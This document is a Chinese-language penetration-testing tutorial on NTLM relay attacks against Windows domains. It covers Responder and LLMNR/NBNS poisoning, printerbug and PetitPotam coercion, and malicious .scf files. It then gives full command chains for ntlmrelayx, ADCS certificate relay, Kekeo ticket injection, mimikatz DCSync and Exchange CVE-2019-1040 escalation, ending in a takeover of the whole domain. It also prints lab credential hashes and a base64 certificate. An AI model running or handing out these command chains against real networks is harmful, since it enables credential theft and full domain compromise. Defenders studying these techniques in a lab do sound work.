简介
NTLM Relay也被就是Net-NTLM Relay攻击,当获得Net-NLTM Hash之后可以进行攻击重放,
进行中间人攻击,攻击者作为中间人在客户端与服务端之间转发NTLM认证数据包,从而模拟客户端
身份访问服务端的资源,本篇文章主要是介绍NTLM Relay常见的利用手法以及漏洞,Relay攻击
在域内渗透手法中是相当常见的一种攻击,下面将讲解如何利用。
NTLM Relay准备
捕获NET-NLTM Hash
Responder.py工具或者kali自带的responder软件以及安装好的用法相同。
eth0:监听的1网卡
-v:详细输出,responder会记录出现过的Hash,-v会每次都会显示出来否则出现过的hash将不再重复显示。
网卡可以通过ip addr展示的ip顺序来确定。
命令:
responder -I eth0 -v
开启监听后需要使目标服务器主动向攻击者发起NTLM认证才行。
NTLM Relay端口转发
在Relay攻击的时候往往需要在Windows平台上操作,但是Relay需要445端口而默认Windows下445端口
是占用的因此无法使用,所以需要用到端口转发技术,比如将445端口转发到8445端口进行本地端口转发,
之后使用Windows自带的远程端口转发或其他工具将8445端口转发到攻击机的445端口即可进行Relay监听。
下面将进行简单演示:
环境说明:
DESKTOP-A 192.168.100.10
DESKTOP-B 192.168.100.20 10.211.55.134
kali攻击机 10.211.55.133
步骤:
下载端口转发工具运行运行的时候系统版本x86或x64一致:
https://github.com/Arno0x/DivertTCPconn
1.首先将DivertTCPconn.exe(端口转发工具)上传到DESKTOP-B机器上将445端口转发到8445.
命令(debug参数可以不携带是用于显示输出的,需要管理员身份运行):
divertTCPConn.exe 445 8445 debug
成功端口转发后处于等待状态。
2.kali攻击机开启relay监听
命令:
responder -I eth1 -v
3.将DESKTOP-B的8445端口远程端口转发到kali攻击机的445端口上
这里我才用的是Windows自带的转发网上也有很多转发攻击也可以做到。
命令(添加转发需要管理员身份运行):
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=8445 connectaddress=(kali攻击机IP) connectport=445
命令(查看转发)
netsh interface portproxy show all
4.触发DESKTOP-A机器访问DESKTOP-B即可拿到Net Ntlm Hash
DESKTOP-B端口转发的消息内容
kali攻击机拿到的DESKTOP-A的Net Ntlm Hash
LLMNR和NBNS投毒(Net NTLM Hash获取)
LLMNR是链路本地多播名称解析和NBNS网络基本输入输出系统名称服务,
是局域网内的协议,主要用于局域网的名称解析,当其他方式解析失败时,
Windows就会使用LLMNR和NBNS协议解析名称。
Windows系统名称解析顺序如下:
1.本地hosts文件(%windir%\System32\dirvers\etc\hosts)
2.DNS缓存/DNS服务器
3.LLMNR和NBNS协议
LLMNR和NBNS协议的区别:
NBNS基于广播而LLMNR基于多播。
NBNS在Windows NT及更高版本的操作系统上均可用,而LLMNR和Windows Vista以及更高本版的系统才可以使用。
LLMNR支持IPV6,而NetBIOS不支持IPV6。
攻击利用:
当用户输入任意一个不存在的名称:本地hosts文件和DNS服务器都不能正常解析的时候,
系统就会发送LLMNR/NBNS数据包请求解析,responder收到请求后告诉客户端自己就是
本不存在的名称并要求客户端发送Net-NTLM Hash认证,从而获取Hash。
演示:
环境:
DESKTOP-A 192.168.100.10
kali攻击机 192.168.100.131
不存在的名称触发LLMNR和NBNS投毒
投毒成功拿到Net-NTLM-HASH.
打印机漏洞(Net NTLM Hash获取)
下载:
https://github.com/dirkjanm/krbrelayx
配合打法:
非约束委派:
查找非约束委派机器拿到权限后强制使用打印机漏洞,获得目标域控机器账号的TGT票据,
进行Dcsync操作接管全域。
基于资源的约束委派:
拿到任意域内用户账号可以创建机器账号的情况下使用打印机漏洞relay到域控ldap服务
配置目标服务器机器账号的msDS-AllowedToActOnBehalfOfOtherIdentity属性为新建的
机器账号从获取目标权限,也可以寻找辅助域控使用打印机bug拿到辅助域控机器账号
Net NTLM Hash,ntlmrelayx.py中继到ldap域控服务器,辅助域控机器账号可以创建新
机器账号,并配置辅助域控机器账号msDS-AllowedToActOnBehalfOfOtherIdentity属性。
利用:
域内任意用户访何目标机器(任意域内机器都可以包括域控)的打印机服务,printerbug.py利用脚本会触发
SpoolService BUG使目标机器向攻击机发起SMB认证获得Net-NTLM Hash。
命令:
192.168.126.10 要获得控制权的目标
192.168.126.137 攻击机
python3 printerbug.py test.com/hacker888@192.168.126.10 192.168.126.137 -hashes :3d9a47d42cb82e0b7cbbaf2b20454e3a
原理简述:
printerbug.py触发强制Windows主机通过MS-RPRN RPC接口向攻击者进行身份验证,
Windows的MS-RPRN协议用于打印客户机和打印服务器之间的通信默认情况下是启用的,
协议定义的RpcRemoteFindFirstPrinterChangeNotificationEx()调用创建一个
远程更改通知对象,该对象监视对打印机对象的更改,并将更改通知发送到打印客户端,
任何经过身份验证的域成员都可以连接到远程服务器的打印服务spoolsv.exe,
并请求对一个新的打印作业进行更新令其将该通知发送给指定目标,之后它会将立即测试该连接,
即向指定目标进行身份验证可以选择通过Kerberos或NTLM进行验证,
另外微软表示这个bug是系统设计特点,无需修复。
下图为成功拿到机器账号Net-NTLM Hash,打印机漏洞在域渗透中使用的较多,
因为微软表示这是bug问题因此无需修复,可以结合基于资源约束委派利用,也可以
单纯的进行Net NTLM Hash重放攻击。
图标Net-NTLM Hash获取
当图标的一些路径改成指定的UNC路径,就能收到目标机器发来的NTLM请求,
每个文件夹下都有一个隐藏文件desktop.ini,作用是指定文件夹的图标等,可以通过
修改文件夹属性显示隐藏受保护的操作系统文件(推荐)来显示desktop.ini文件。
配置:
只要将文件夹复制到目标机器上或者替换有文件夹下的desktop.ini文件都可以拿到Net Ntlm Hash.
.scf后缀文件 Net-NTLM Hash获取
一个文件夹内若含有.scf文件,由于scf文件包含IconFile属性,因此explore.exe会
尝试获取文件夹的图标,而IconFile是支持UNC路径的,所以当打开文件夹的时候,目标
机器就回请求指定UNC的图标自己就可以获取当前用户的NTLM v2 Hash发送给指定机器。
.scf文件格式
[shell]
Command=2
IconFile=\\监听机器ip\test\tset.ico
[Taskbar]
Command=ToggleDesktop
在文件夹下创建test.scf包含以上文件内容,只要有人访问了test文件夹,
目标机器就会请求指定的UNC路径图标资源,于是拿到当前用户的NTLM v2 Hash。
浏览器 Net-NTLM Hash获取
当浏览器访问的页面中含有 UNC路径,浏览器在解析该页面时也会尝试请求该UNC地址,然后发起 NTLM 认证。
不同的浏览器对插入的UNC路径执行的也不同,有的可能具有安全防护阻止UNC访问。
例子:
当前用户访问会直接抓取到Hash下面是当前访问test域下的ruyu用户的Net-NTLM Hash。
如果开启HTTP服务访问该html就需要输入认证
抓取到了输入的认证HTTP类型的Net-NTLM Hash。
系统命令Net-NTLM Hash获取
能够拿到Net-NTLM Hash命令还有很多这里举例三个。
命令:
lodctr.exe \\192.168.126.137\test
cacls.exe \\192.168.126.137\test
expand.exe \\192.168.126.137\test
Net-NTLM Hash(利用简述)
Net-NTLM Hash利用方式有两种第一种是Net-NTLM Hash破解,第二种是Net-NTLM Hash重放,
下面将讲解这两种利用方式。
Net-NTLM Hash重放简述:
NTLM只是底层的认证协议,必须嵌人在上应用协议中,消息的传输依赖于使用NTLM 的上层协议,
比如SMB、HTTP、LDAP因此,我们可以将获取到的 Net-NTLM Hash 中继到其他使用 NTLM 进行认证的应用上,
在域环境中,普通域用户默认可以登录除域控外的其他所有机器,因此可以将域用户的Net-NTLM Hash 中继到域
内的其他机器。
Net-NTLM Hash(smbrelayx.py利用)
Relay重放:
smbrelayx.py该脚本接收域用户的 Net-NTLM Hash,然后中继到域内其他机器执行指定命令。
使用impacket下的smbrelayx.py工具进行重放攻击。
命令:
需要注意的是与responder工具冲突因此需要先关闭responder监听。
x.x.x.x 要执行命令的机器
python3 smbrelayx.py -h x.x.x.x -c whoami
Net-NTLM Hash(ntlmrelayx.py利用)
impacket 下的 ntlmrelayx.py,运行 ntlmrelayx.py 脚本执行如下命令,该脚本接收域用户的Net-NTLM Hash,
然后中继到域内其他机器执行指定命令
命令:
x.x.x.x 要执行命令的机器
python3 ntlmrelayxpy -t smb://x.x.x.x -c whoami -smb2support
expand.exe \\192.168.126.137\test 触发NTLM认证
192.168.126.90触发NTLM认证后中继到192.168.126.10执行命令。
Net-NTLM Hash(MultiRelay.py利用)
MultiRelay进行Relay拿到shell
步骤简述:
使用RunFinger.py脚本识别未开启SMB签名的机器,开启responder监听并关闭SMB和
HTTP,MultiRelay监听未开启SMB签名的机器IP,触发域内账号访问攻击机从而进行Relay获取shell。
环境说明:
WIN7 192.168.126.200
DC 192.168.126.66
Win10 192.168.126.10
Win10 192.168.126.90
kali 192.168.126.134
步骤1(关闭responder中的SMB与HTTP):
kali自带responder工具位于/usr/share/responder中,想要关闭
SMB和HTTP需要配置Responder.conf文件将SMB与HTTP设置为Off。
步骤2(开启responder监听)
命令:responder -I eth0
步骤3(RunFinger.py扫描未开启SMB签名的可利用机器)
RunFinger.py脚本kali自带位于/usr/share/responder/tools
命令:
python3 RunFinger.py -i 192.168.126.1/24
发现192.168.126.66和192.168.126.200未开启SMB签名可以进行
步骤4(MultiRelay.py监听未开启SMB签名的机器获取shell)
成功监听后会出现SMB signing: False以及系统版本,如果监听失败则不会有任何显示信息。
步骤5(触发账号访问攻击机器)
这里为了演示已命令的方式触发,在实战中可以监听机器后等待未开启SMB签名的机器访问了无法
解析的域名进行LLMNR和NBNS广播,这个时候就可以进行LLMNR和NBNS投毒从而获得监听机器shell。
命令:
cacls.exe \\192.168.126.134\test
需要注意的是触发需要关闭SMB签名的机器,如果未关闭则会显示不支持SMB1协议需要SMB2,
则触发失败。
这里环境比较简单只有域控和WIN7机器这两台没有开启SMB签名因此在域控上执行命令,
实战当中也可以等待域名解析不成功后的LLMNR和NBNS投毒,当然也可以手动触发。
获得Shell
手动触发LLMNR和NBNS投毒,只需要随便一个不能解析的名称即可。
强制切换为SMB1协议,需要管理员权限运行powershell执行命令并且需要重启计算机。
命令:
sc.exe config lanmanworkstation depend= bowser/mrxsmb10/nsi
sc.exe config mrxsmb20 start= disabled
执行完上述命令后重启计算机即可开启SMB1协议,需要注意RDP协议可能会被禁用。
ADCS Relay原理简述以及ADCS侦察
相关配置:
配置完成了证书颁发机构和证书颁发机构Web注册后安装完成就可以通过下面url访问web证书服务。
http://ip/certsrv/Default.asp
登录需要http方式的ntlm认证,可以通过域账号方式登录也可以通过机器账号登录,正因为可以使用
机器账号登录因此才会有ADCS Relay利用。
攻击原理:
ADCS Web证书注册接口可以进行 NTLM Relay攻击,需要在ADCS服务安装的时候勾选了
证书颁发机构Web注册,可以导致用户通过Web来申请注册证书,而Web接口默认只允许NTLM
身份认证,由于HTTP类型的NTLM浏览默认不签名因此造成了NTLM Relay攻击,攻击者可以
使用Print Spooler漏洞或Petitpotam漏洞触发目标机器SMB类型的NTLM浏览回连攻击机器,
然后再将这个SMB类型的NTLM浏览中继给Web注册接口以目标机器账号权限申请一个证书,
通过拿到该证书可以向目标机器进行Kerberos身份认证。
ADCS侦察:
使用bloodhound查询ADCS服务器
查询CERT PUBLISHERS@TEST.COM组即可,该组成员被允许发布证书到目录。
Adfind查询ADCS服务器命令:
AdFind.exe -b "CN=CERT PUBLISHERS,CN=USERS,DC=TEST,DC=COM" member
ADCS Relay利用
步骤:
1.impacket下ntlmrelayx.py工具开启监听捕获Net-NTLM Hash用于Relay到ADCS HTTP ntlm认证获取证书。
2.使用打印机bug利用工具强制域控机器账号对攻击机进行NTLM认证。
3.将获得的凭据证书使用Kekeo注入,申请域控机器账号TGT。
4.mimikatz进行Dcsync后可以进行PTH控制全域。
步骤1:
开启ntlmrelayx.py命令:
10.211.55.190 ADCS服务器IP
python3 ntlmrelayx.py -debug -smb2support --target http://10.211.55.190/certsrv/certfnsh.asp --adcs --template DomainController
步骤2:
10.211.55.100 域控
10.211.55.133 攻击机
在实战当中是需要进行端口转发的详细可以参考上面的端口转发流程,这里仅进行演示所以直接将kali添加到同一网段。
python3 printerbug.py test.com/lisi@10.211.55.100 10.211.55.133 -hashes :4c25ed57e37131073192a98148fbc30f
ntlmrelayx.py成功Relay拿到证书
利用步骤3:
Kekeo注入刚刚获取到的base64格式的证书。
命令:
base64 /input:on
tgt::ask /pfx:base64证书 /user:dc$(域控机器账号名) /domain:test.com(域名) /ptt
演示命令:
tgt::ask /pfx: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 /user:WIN-AD$ /domain:test.com /ptt
利用步骤4
mimikatz进行Dcsync导出所有域内Hash
lsadump::dcsync /domain:test.com /all /csv
Exchange 利用(Relay+CVE-2019-1040=接管全域)
CVE-2019-1040漏洞简述:
Relay利用的过程中常常伴随协议签名的问题,smb协议这种是默认签名,如果是ldap是协商签名webadv或者http协议,
是不要求签名的ADCS Relay利用的http协议默认就是不签名因此可以Relay利用,CVE-2019-1040利用漏洞
可以绕过NTLM MIC的防护机制,以使我们修改标志位,不进行签名。
Exchange利用简述:
Exchange安装后会自动创建并加入到Exchange Windows Permissions和Exchange Trusted Subsystem这两个
组中,这俩组具有对域write-dacl权限可以给任意用户提权赋予Dcsync权限,通过打印机bug获取到Exchange机器账号
Net-NTLM Hash,之后Relay到域控的ldap服务,但是打印机bug触发的是SMB协议默认是需要签名的,尽管ldap服务是协商
签名但是触发的打印机bug是smb默认签名因此还是需要CVE-2019-1040来绕过NTLM MIC的防护机制来让ldap不签名,
之后通过ldap服务修改域内控制的普通域用户账号提权获得Dcsync权限并控制全域。
利用步骤:
1.侦察Exchange服务器
2.ntlmrelayx.py脚本开启ldap服务中继并设置提权账号和自动化2019-1040漏洞利用。
3.使用打印机bug拿到Exchange机器账号Net-NTLM Hash。
4.secretsdump.py使用ntlmrelayx.py设置好的提权账号进行Dcsync操作控制全域。
测试环境:
10.211.55.100 域控
10.211.55.210 Exchange服务器
10.211.55.133 kali攻击机
利用步骤1:
可以通过查询Exchange Servers组来发现Exchange服务器。
bloodhound侦察:
直接搜索EXCHANGE SERVERS组即可
Adfind侦察:
命令:
AdFind.exe -b "CN=Exchange Servers,OU=Microsoft Exchange Security Groups,DC=test(域DC),DC=com(域DC)" member
利用步骤2:
Authentication Id : 0 ; 10900775 (00000000:00a65527)
Session : Interactive from 1
User Name : wangwu
Domain : TEST
Logon Server : WIN-AD
Logon Time : 2023/3/5 23:24:34
SID : S-1-5-21-3090017981-1493734057-1291156760-1163
msv :
[00000003] Primary
* Username : wangwu
* Domain : TEST
* NTLM : 4c25ed57e37131073192a98148fbc30f
* SHA1 : 78d4cfff9d897cf7eff5311adab2559df03fb284
* DPAPI : e2f4119aafa530f21d32914dadc339eb
tspkg :
wdigest :
* Username : wangwu
* Domain : TEST
* Password : (null)
kerberos :
* Username : wangwu
* Domain : TEST.COM
* Password : (null)
ssp :
credman :
假设拿到了一个普通域账号的权限叫做wangwu将该账号ACL滥用赋予Dcsync权限命令如下:
./ntlmrelayx.py --remove-mic --escalate-user wangwu -t ldap://x.x.x.x(域控IP) -smb2support
利用步骤3:
使用打印机bug强制Exchange发起SMB协议的Ntlm认证到攻击机。
命令:
python3 printerbug.py test.com/wangwu@10.211.55.210 10.211.55.133 -hashes :4c25ed57e37131073192a98148fbc30f
并且在目录生成Exchange的同步信息html文件
利用步骤4:
secretsdump.py脚本使用wangwu账号进行Dcsync后进行PTH即可控制全域。
命令:
python3 secretsdump.py 'test/wangwu@10.211.55.100' -just-dc -hashes :4c25ed57e37131073192a98148fbc30f
NTLM Relay+基于资源的约束委派利用
PetitPotam和Printerbug的区别可以参考中安网星的文章:
打印bug出现后很多厂商关闭了打印机服务因此可以使用PetitPotam代替打印机。
https://www.freebuf.com/articles/system/282912.html
使用petitpotam.py脚本强制域控对攻击机进行NTLM认证。
2016以及以上版本需要创建机器账号的域账号因为域账号具有对主机修改,
msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限。
python3 petitpotam.py test.com/ruyu@192.168.126.137 192.168.126.66 -hashes :3d9a47d42cb82e0b7cbbaf2b20454e3a
2016以下版本可以匿名修改
python3 Petitpotam.py 192.168.126.137 192.168.126.66
之前已经写过了NTLM Relay打印机bug配合基于资源约束委派的利用过程实际上跟PetitPotam是一样的因此不在重复。
基于资源约束委派利用方式3文章地址:
http://t.csdn.cn/UbvRJ